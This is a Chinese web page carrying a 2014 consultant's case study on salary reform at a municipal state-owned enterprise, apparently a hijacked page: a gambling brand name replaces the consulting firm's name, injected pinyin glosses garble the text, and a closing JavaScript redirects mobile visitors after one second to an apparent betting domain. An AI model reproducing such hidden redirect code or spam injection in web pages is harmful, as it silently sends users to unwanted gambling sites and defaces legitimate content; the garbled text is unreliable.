2021欧洲杯指定官网

English
简体中文
To provide you with one-stop management consulting services
告诉你一个真实的薪酬改革故事
发(fa)表时间(jian):2014-10-17 作者: 字号: A A A
 

背(bei)景:

 

2014829日(ri),中(zhong)共(gong)中(zhong)央政(zheng)治局会议审议通(tong)过《中(zhong)央管理(li)企(qi)业(ye)负(fu)责人(ren)薪(xin)酬(chou)制度改(gai)革(ge)方案》、《关于合(he)理(li)确定(ding)(ding)并严格(ge)规范中(zhong)央企(qi)业(ye)负(fu)责人(ren)履职待遇(yu)、业(ye)务支(zhi)出的(de)意见》两个(ge)文件(jian),意味着目(mu)前(qian)国(guo)企(qi)负(fu)责人(ren)薪(xin)酬(chou)讨论(lun),已由是否限薪(xin)的(de)争议步(bu)入实质性的(de)减(jian)薪(xin)阶段。在顶层定(ding)(ding)调(diao)的(de)前(qian)提(ti)下,实操方面如何落实显得更为(wei)现实和有意义。这不由得让我想(xiang)起前(qian)段时间接触的(de)一个(ge)国(guo)企(qi)薪(xin)酬(chou)变革(ge)的(de)项目(mu)。

 

案例概况:

 

笔者不久前接触一个A市国资委下(xia)属的国有企业(B公(gong)司)的(de)薪酬(chou)变(bian)革(ge)(ge)项目(mu),当(dang)然(ran)该薪酬(chou)变(bian)革(ge)(ge)项目(mu)只是整个管理咨(zi)询项目(mu)的(de)一(yi)个模块。该咨(zi)询项目(mu)的(de)产生背(bei)景简单介绍如下:

 

为解决国有(you)资产的所有(you)者(zhe)错位、缺位和“政企不(bu)分”的问题,A市的市委(wei)、市政(zheng)府(fu)决定(ding)单设市国资委(wei)。A市国(guo)资委于2013年设(she)立后,为(wei)解决(jue)存在的市(shi)国有企业(ye)(ye)散、弱、小以(yi)及多(duo)行业(ye)(ye)、多(duo)部门的管(guan)理现状,决(jue)定组建市(shi)属国有集团公司,我们(men)的客(ke)户B公司便是其(qi)中之一(yi)。

 

伴随着企业改(gai)制,B公司(si)的新任领导决定(ding)聘(pin)请(qing)2021欧洲杯指定官网为(wei)其提供(gong)全方面(mian)的管(guan)理(li)咨询(xun)服务,一(yi)方面(mian)夯(hang)实管(guan)理(li)基础,另一(yi)方面(mian)通过管(guan)理(li)咨询(xun),在集团上下营造变(bian)(bian)革氛围,推进(jin)管(guan)理(li)变(bian)(bian)革的进(jin)程。

 

该咨询(xun)项目包含战略(lve)梳理(li)、集团(tuan)管控、组(zu)织设(she)计(ji)、薪酬(chou)绩效等相(xiang)关(guan)模块内(nei)容,对客户(hu)而言,客户(hu)最为重视的其实只有两块,即组(zu)织设(she)计(ji)与薪酬(chou)管理(li)。在这里重点介绍(shao)薪酬(chou)变革。

 

分析:

 

作为(wei)A市的市属国有(you)企(qi)业,B公司的企(qi)业负(fu)责人,如董事长、总经理(li)、纪(ji)委书记等由(you)市(shi)委组织(zhi)部和(he)市(shi)国资委任命,其薪(xin)酬(chou)(chou)也遵照(zhao)市(shi)国资委制定印(yin)发的《市(shi)属企(qi)业负(fu)责人薪(xin)酬(chou)(chou)管理(li)办(ban)法(暂行(xing))》执行(xing)。在这份暂行(xing)办(ban)法中(zhong),我们看到企(qi)业负(fu)责人薪(xin)酬(chou)(chou)由(you)基薪(xin)、绩效年薪(xin)和(he)中(zhong)长期(qi)激励三部分构成。

 

基薪是企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)负责人(ren)年度的(de)基本收入,基薪主要根据企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)所承担的(de)责任、经营规模和(he)所在地区企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)平均工(gong)资(zi)、市属企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)平均工(gong)资(zi)、本企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)平均工(gong)资(zi)等因素综合确定。基薪不(bu)与(yu)业(ye)(ye)(ye)绩考核结果(guo)挂钩。

 

同时公(gong)司高管(guan)的(de)基薪也有一(yi)定(ding)程度的(de)差异,文件中明确(que)规定(ding)以企业法定(ding)代表人的(de)分配系(xi)数为1进行计算,总经(jing)理的(de)分(fen)配系数为0.95,而企业(ye)其他负责人的(de)分配系数则由(you)企业(ye)的(de)董事会根据任职岗位、责任、风险和贡(gong)献,采取民主(zhu)测评等方式合理拉开差距,并且不(bu)得超过0.8

绩效年薪与经营(ying)业绩考(kao)核结果挂钩,以基薪为基数,根(gen)据企业负责(ze)人的(de)年度经营(ying)业绩考(kao)核分数及考(kao)核级别确(que)定。

 

关于中长期激励部分,文(wen)件中没有进(jin)一步(bu)说明,也许该(gai)薪酬(chou)管理办法(暂行)还有待(dai)进(jin)一步(bu)完善。

 

当我(wo)们(men)(men)与客户(hu)高层沟通时,他们(men)(men)表示,这份文件今年(nian)刚颁布,具体(ti)是什么情(qing)况(kuang)大家都不清楚(chu),关(guan)于(yu)具体(ti)的(de)基薪与绩效年(nian)薪的(de)数据目前(qian)已经确定,但(dan)大家都还(hai)没有按照(zhao)这个标准执行,处于(yu)观望(wang)状态,还(hai)有待主(zhu)管机关(guan)的(de)进一步明确。

 

B公司高(gao)管层的(de)(de)薪酬虽然没有包含在项目内容(rong)之中(zhong),但(dan)项目组(zu)根据岗位(wei)价值的(de)(de)评估结(jie)果(guo),结(jie)合(he)这份暂行文(wen)件的(de)(de)要(yao)求,提供了高(gao)管层的(de)(de)基(ji)薪系数设计方案,基(ji)本上明确(que)了不同高(gao)管的(de)(de)基(ji)薪差异水平。同时,项目组(zu)以高(gao)管层的(de)(de)基(ji)薪和绩效年薪为(wei)参照,开展公司内部(bu)中(zhong)层及(ji)基(ji)层员工的(de)(de)薪酬变(bian)革(ge)方案设计。

 

在整个薪(xin)酬项目(mu)的推进过程中,项目(mu)组(zu)也特意与B公司(si)的党委书记、纪委书记进(jin)行了多轮(lun)沟(gou)通,结合十八大后的国企(qi)改革(ge)(ge)大趋势(shi),特(te)别是六项禁(jin)令(ling)、四(si)项禁(jin)止等相(xiang)关(guan)(guan)规定(ding)对国企(qi)的限制(zhi)要求(qiu),明确(que)了薪(xin)酬变(bian)革(ge)(ge)关(guan)(guan)注的重点:薪(xin)酬结构元(yuan)素、重点关(guan)(guan)注群(qun)体、整体薪(xin)酬收入(ru)范(fan)围、薪(xin)酬总(zong)(zong)额(e)与公司(si)营收的关(guan)(guan)联等等。通过对这(zhei)些(xie)关(guan)(guan)注重点进(jin)行详细的认证,确(que)定(ding)薪(xin)酬变(bian)革(ge)(ge)的相(xiang)关(guan)(guan)原则:第一,薪(xin)酬增量(liang)的总(zong)(zong)额(e)控制(zhi),即控制(zhi)在10%以内;第(di)(di)(di)二,原则上属(shu)于员(yuan)工(gong)普惠(hui),同(tong)时向一(yi)线员(yuan)工(gong)倾斜(xie);第(di)(di)(di)三,让隐性(xing)福利津贴显(xian)性(xing)化,统一(yi)集团的福利体(ti)系与标(biao)准;第(di)(di)(di)四,建立健全薪酬可升可降(jiang)的动(dong)态调(diao)整机制。

 

最终,项目组经过一(yi)(yi)个多(duo)月的(de)努力(li),在保(bao)持现有员工薪(xin)酬(chou)(chou)(chou)总额不降低(di)的(de)前提(ti)下,建立了清晰的(de)薪(xin)酬(chou)(chou)(chou)总额管理体系(xi);在确保(bao)员工薪(xin)酬(chou)(chou)(chou)合理差距的(de)基础上,进行了薪(xin)酬(chou)(chou)(chou)结构(gou)的(de)大幅调整,实现集团范围内(nei)的(de)薪(xin)酬(chou)(chou)(chou)元素统一(yi)(yi)、明确;同时(shi)吸纳(na)了现有薪(xin)酬(chou)(chou)(chou)体系(xi)中的(de)员工个体差别要素,并(bing)将其进行合理的(de)薪(xin)酬(chou)(chou)(chou)套改。在员工薪(xin)酬(chou)(chou)(chou)普涨(zhang)的(de)基础上,根(gen)据岗(gang)位(wei)价值(zhi)的(de)不同进行差异化的(de)调整。在薪(xin)酬(chou)(chou)(chou)总量得到有效控制的(de)前提(ti)下,既维护(hu)了员工队伍的(de)稳定,又能够(gou)实现吸引和(he)保(bao)留优秀员工的(de)目的(de)。

 

结论:

 

效率和公(gong)平始终(zhong)是我们这个社(she)会应该努(nu)力追求的共同的基(ji)本目(mu)标。公(gong)平问题(ti)解决得(de)不好,不仅影(ying)(ying)响社(she)会稳定(ding),而且(qie)在一(yi)定(ding)程度上也会影(ying)(ying)响效率的提(ti)高。深化国企薪酬制(zhi)度改革的一(yi)个重(zhong)要(yao)目(mu)标是进一(yi)步促进社(she)会公(gong)平、提(ti)高经济效率。

 

国企(qi)(qi)薪酬制(zhi)(zhi)(zhi)度(du)(du)(du)(du)改(gai)(gai)革(ge)(ge)(ge)是(shi)国企(qi)(qi)改(gai)(gai)革(ge)(ge)(ge)的(de)一个重点(dian)领域,也(ye)(ye)是(shi)新一轮价(jia)格(ge)、税(shui)收、财政及收入(ru)分配制(zhi)(zhi)(zhi)度(du)(du)(du)(du)改(gai)(gai)革(ge)(ge)(ge)中的(de)重要(yao)配套改(gai)(gai)革(ge)(ge)(ge)。这不(bu)仅要(yao)求我(wo)们(men)要(yao)积极推动(dong)这项改(gai)(gai)革(ge)(ge)(ge),而且必(bi)须改(gai)(gai)好(hao)。国企(qi)(qi)薪酬制(zhi)(zhi)(zhi)度(du)(du)(du)(du)既(ji)(ji)包(bao)括(kuo)(kuo)基本(ben)工(gong)(gong)资(zi)制(zhi)(zhi)(zhi)度(du)(du)(du)(du),也(ye)(ye)包(bao)括(kuo)(kuo)绩效工(gong)(gong)资(zi)制(zhi)(zhi)(zhi)度(du)(du)(du)(du);既(ji)(ji)包(bao)括(kuo)(kuo)现金分配制(zhi)(zhi)(zhi)度(du)(du)(du)(du),也(ye)(ye)包(bao)括(kuo)(kuo)非(fei)现金分配制(zhi)(zhi)(zhi)度(du)(du)(du)(du);既(ji)(ji)包(bao)括(kuo)(kuo)传统(tong)的(de)收入(ru)分配制(zhi)(zhi)(zhi)度(du)(du)(du)(du),还(hai)包(bao)括(kuo)(kuo)培训机会、出国考察、单位(wei)疗养、带(dai)薪休假(jia)等(deng)非(fei)传统(tong)的(de)分配制(zhi)(zhi)(zhi)度(du)(du)(du)(du)。因此(ci),关于如何有效地(di)推进国企(qi)(qi)薪酬制(zhi)(zhi)(zhi)度(du)(du)(du)(du)改(gai)(gai)革(ge)(ge)(ge),我(wo)们(men)既(ji)(ji)要(yao)避免出现“天价(jia)薪酬”等(deng)扭曲的(de)现象,又要(yao)不(bu)断增(zeng)进国企(qi)(qi)内(nei)部的(de)薪酬公(gong)平;既(ji)(ji)要(yao)让全体(ti)人民(min)满(man)(man)意,也(ye)(ye)要(yao)让国企(qi)(qi)全体(ti)员工(gong)(gong)满(man)(man)意。

 

第(di)一(yi)(yi)(yi),围绕健全协调运转(zhuan)、有(you)(you)效(xiao)制(zhi)(zhi)衡的(de)公(gong)司(si)法人(ren)治理结构,理顺(shun)国有(you)(you)企(qi)(qi)(qi)业(ye)分(fen)配(pei)机制(zhi)(zhi)。管好一(yi)(yi)(yi)群羊(yang)重在(zai)管好领(ling)头羊(yang)。在(zai)这一(yi)(yi)(yi)过程中,加强(qiang)国企(qi)(qi)(qi)高(gao)管薪酬(chou)管理是重中之重。要(yao)对(dui)部分(fen)过高(gao)收入行业(ye)的(de)国有(you)(you)及国有(you)(you)控(kong)股企(qi)(qi)(qi)业(ye),严(yan)(yan)格实行企(qi)(qi)(qi)业(ye)工资总额和(he)工资水平双重调控(kong)政策(ce);建(jian)(jian)立与企(qi)(qi)(qi)业(ye)领(ling)导人(ren)分(fen)类管理相适应、选任方式相匹配(pei)的(de)企(qi)(qi)(qi)业(ye)高(gao)管人(ren)员(yuan)差异化(hua)薪酬(chou)分(fen)配(pei)制(zhi)(zhi)度。比(bi)如,国有(you)(you)企(qi)(qi)(qi)业(ye)可考虑建(jian)(jian)立职(zhi)(zhi)业(ye)经(jing)理人(ren)制(zhi)(zhi)度,更好地发挥企(qi)(qi)(qi)业(ye)家(jia)精神和(he)企(qi)(qi)(qi)业(ye)家(jia)的(de)作用;合理增加市场化(hua)选聘比(bi)例,合理确定(ding)并严(yan)(yan)格规范(fan)国企(qi)(qi)(qi)管理人(ren)员(yuan)薪酬(chou)水平、职(zhi)(zhi)务待遇、业(ye)务消(xiao)费(fei)(fei)等(deng);积极推(tui)进国企(qi)(qi)(qi)财务预算等(deng)重大信息公(gong)开(kai),建(jian)(jian)立国企(qi)(qi)(qi)经(jing)营长效(xiao)激(ji)励约(yue)束机制(zhi)(zhi),强(qiang)化(hua)国企(qi)(qi)(qi)经(jing)营投资责任追究;严(yan)(yan)格控(kong)制(zhi)(zhi)国有(you)(you)及国有(you)(you)控(kong)股企(qi)(qi)(qi)业(ye)高(gao)管人(ren)员(yuan)职(zhi)(zhi)务消(xiao)费(fei)(fei),规范(fan)车(che)辆配(pei)备和(he)使(shi)用、业(ye)务招待、考察培训等(deng)职(zhi)(zhi)务消(xiao)费(fei)(fei)项目和(he)标准,职(zhi)(zhi)务消(xiao)费(fei)(fei)接(jie)受职(zhi)(zhi)工民主监督,相关账目要(yao)公(gong)开(kai)透明(ming)。

 

第二(er),在国(guo)企(qi)内(nei)部(bu)形成合理有序的(de)(de)(de)(de)收(shou)(shou)入分配(pei)格(ge)局。深化(hua)国(guo)企(qi)内(nei)部(bu)管理人员(yuan)能上能下、员(yuan)工(gong)(gong)能进(jin)能出(chu)、收(shou)(shou)入能增(zeng)能减的(de)(de)(de)(de)制度(du)(du)改革,建立(li)(li)反映劳(lao)动(dong)力(li)市(shi)场(chang)供求(qiu)关系和(he)(he)(he)企(qi)业经(jing)济效(xiao)益的(de)(de)(de)(de)工(gong)(gong)资(zi)决(jue)定(ding)(ding)和(he)(he)(he)正常增(zeng)长(zhang)机(ji)制。一方面要(yao)健(jian)全(quan)国(guo)企(qi)资(zi)本、知(zhi)识、技(ji)术、管理等(deng)由(you)要(yao)素市(shi)场(chang)决(jue)定(ding)(ding)的(de)(de)(de)(de)报酬机(ji)制,建立(li)(li)健(jian)全(quan)以实际贡(gong)献为评价标(biao)准的(de)(de)(de)(de)科技(ji)创新人才(cai)薪酬制度(du)(du),鼓励(li)国(guo)企(qi)对紧(jin)缺急需的(de)(de)(de)(de)高(gao)(gao)层次(ci)、高(gao)(gao)技(ji)能人才(cai)实行协议工(gong)(gong)资(zi)、项目工(gong)(gong)资(zi)等(deng);加强知(zhi)识产(chan)权(quan)保(bao)(bao)护(hu),完善有利于(yu)科技(ji)成果转(zhuan)移转(zhuan)化(hua)的(de)(de)(de)(de)分配(pei)政策(ce),探索建立(li)(li)科技(ji)成果入股、岗(gang)位分红权(quan)激(ji)励(li)等(deng)多种分配(pei)办(ban)法,保(bao)(bao)障(zhang)技(ji)术成果在分配(pei)中的(de)(de)(de)(de)应得(de)份额;完善高(gao)(gao)层次(ci)、高(gao)(gao)技(ji)能人才(cai)特殊津贴制度(du)(du);允许和(he)(he)(he)鼓励(li)品牌、创意等(deng)参(can)与收(shou)(shou)入分配(pei)。另(ling)一方面要(yao)着力(li)健(jian)全(quan)国(guo)企(qi)工(gong)(gong)资(zi)决(jue)定(ding)(ding)和(he)(he)(he)正常增(zeng)长(zhang)机(ji)制,着重保(bao)(bao)护(hu)劳(lao)动(dong)所(suo)得(de),努(nu)力(li)实现劳(lao)动(dong)报酬增(zeng)长(zhang)和(he)(he)(he)国(guo)企(qi)劳(lao)动(dong)生产(chan)率提高(gao)(gao)同步。努(nu)力(li)缩小国(guo)企(qi)内(nei)部(bu)收(shou)(shou)入分配(pei)差(cha)距。

 

此外,要(yao)(yao)做好国(guo)(guo)企(qi)(qi)薪(xin)酬制(zhi)度(du)(du)(du)(du)改(gai)(gai)革(ge),重(zhong)点在(zai)于完善国(guo)(guo)企(qi)(qi)人事制(zhi)度(du)(du)(du)(du)改(gai)(gai)革(ge)。在(zai)这一过程中,要(yao)(yao)真正把董事会的制(zhi)度(du)(du)(du)(du)构建(jian)起(qi)来,在(zai)建(jian)立职(zhi)业(ye)经(jing)理(li)(li)人市场基础上(shang),进(jin)一步(bu)扩大(da)公开招(zhao)聘的范(fan)围和规模(mo),同时建(jian)立企(qi)(qi)业(ye)内部对(dui)管理(li)(li)者的考核机(ji)制(zhi),从而(er)切实转变经(jing)营机(ji)制(zhi),优化公司治理(li)(li)结构,推进(jin)国(guo)(guo)企(qi)(qi)薪(xin)酬制(zhi)度(du)(du)(du)(du)改(gai)(gai)革(ge)。

 

(作者简介:慈书学,2021欧洲杯指定官网管(guan)理(li)(li)咨(zi)询(xun)集团项目(mu)经理(li)(li)、资深咨(zi)询(xun)师(shi),六年(nian)管(guan)理(li)(li)咨(zi)询(xun)工作经历(li),主持、实施及参与的(de)管(guan)理(li)(li)咨(zi)询(xun)项目(mu)20多个(ge),具有(you)制造、服务(wu)、金(jin)融等(deng)(deng)(deng)多个(ge)行业(ye)的咨(zi)询服务(wu)经验,专注于集团(tuan)管控、组织(zhi)设计、人力(li)资源、运(yun)营管理等(deng)(deng)(deng)多个(ge)职(zhi)能(neng)领域(yu),擅(shan)长于六(liu)西格(ge)玛、精益生(sheng)产等(deng)(deng)(deng)专业(ye)咨(zi)询服务(wu)。)

分享到:
在线咨询
上门义诊
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();